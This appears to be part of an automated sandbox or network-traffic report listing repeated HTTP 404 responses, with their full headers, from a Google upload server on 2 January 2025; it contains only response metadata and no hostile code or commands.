Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4rJyM8i1xgeUK9qlbmqXBEDkR0Z7mjvpxGolk030zQwrUXnrVKCwcyhcon9bN-B8QaBIKPyDIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:54 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dm-mHsimx53DjXcL99OQ9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC726H5YqviZBQ4RGDqwbQqcD4oNg426WMoONU1Ml-W7v7z0F5e5jfph3VfpB26IuLIlContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:55 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JU0KlLPajN4sitO3Eso3DQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4eMrPG1C1x47DTLC68Mm6npv2_lGMhUJ2K8XUv1s7OIKFZhm5b3P32CftcHD7fH4rzContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:55 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6Q_tuRH3eFIoGO9cSa_7yg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6M-CF8bCzHunkph1TgCh5oKYL62j4lmKEyAMxTt4Kpy6RwF7s5pJbsmuyHoNUPJ3nFLVxjIRYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:56 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-a-31O2lBP96LH_ObVtb7fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5XfxguZIKqSovn42bQuZDfCX8Vk1UFkMTgN7soeXRIMTUmC34_0CogcPFeCY3aSK2ZContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:58 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wkbnIXyyqOFbFuIcyChTLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC77YrxA1Tp717357easuwl2--dFOn1ltAzm_ME-9n-syeoQQ55o8lfc2IS5Y7fBdJHDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:58 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-xNES0rONCCMzWvMhE9Ze-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC69vWxBpKP3ArbmTlQMcxn_lqsZmLiKzYstsKATHi-oEheqTDPQ0LCSkpz_b8Fcqh1HContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:59 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lDWj6uVI_Z9HItTdTFfC5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4cRT3F8nks4j4-DA0HMwG47cpqZI6goG8n91hVlGcQjvGwBSmlZx01Rgiw7gkuD4srContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:59 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4lYT17h7MUM13IltBOyrhg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6AME57wVg1F77eJ4pLYG7_IYA1B366ngp4vwHjwk6T7oIsiVzDKKV7qeN3hbJ8b-0kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:02 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-c762teeBkuy9aFj6tioaGg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7lIkZ5M5SeeoZYMoBDF1Xagfz-KkGax9Vjnrs-y-3co-e6dhVXujOyNwGC85-SSgqchtyIjXIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:02 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-plDhWwTAFE1EwvAUMguulQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC72fHlLNKnYgEaMMDL8L0Qu6W2YqFbM7uSfJSxOad5KAUjyTpBEdy17iHgOvc4NL-_OContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:03 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0ROat6sDmxsjJMBCtCdo_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC41LUAmeANybhyaT5bOC8SYlXihVMk5GXAw-1WiEzrVu-TX1PIhmxFYsalH46BRDVQPbO49bDoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:04 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-f0bYrpPxgiwTDv7F93bXXA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4bDj06KCDZjbEAdnKm0YHVHvsIXX_Z19IJtGWq-EbEwUGY6HHOqCks_hxbx27mhGTIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:05 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-5LhvGxjCjQlyJPdLXhv6Ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7k8Ezz8gSp_m-u9VtKdQsOj1Fgy7oOkLbXfKVTq7Rb5b3NEJ845T5YZIeHLQBxJ67eContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:06 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gWaCrvsEkdxP4D95t6ORSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4JHdWtgOgnLGJNgRj2eD5j2LiZFN9N1Sfxf9gDK3PQk091Mrpj3r4z4n29BFvslfv4rC2U0DIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:06 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-yNern54r-EQ3F3XKnbFZYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5cOTKxLn5y3bB0a2R6-6j6AYzMgMck_nZumBDjYMA6qE7y9q50gpgEd0nPP1t_ekQ4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:07 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3k352wvWg2QdIzodbe6JRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7mvToOXLmWy0bjdo_QCLMgT6-boGmroHNyUH3_CUEnUhkv7EHv8oZYivlml03KKUCwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:08 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-rhO0PSLHIA31hxFtzx2D3A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4bABDxORt9gkV75lKK5UxzZef4pjkIDq0vHBsWxm2nm0v7aQEAGOZA1dA6k-3UYEwAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:08 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OE300Yrwf6RqSCXVFn-9Hg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4AiLWAu50fBJdD-mkqUzV7MXbmKDqWhb5r-Oa2Lz3PQpJ4b3AXdkjpjyp7NWcruz_xO_ud3vYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:10 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_VHJt1_GVi0-RK8ENHucyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5buh814Sa8UzGdjCiaO57kPclgFIEsm46vTZ0FY7viqsIxA3Cow485Hc2x-iPqTxnhContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:10 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-ciFUiSpuCcd6id4F4dGbLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
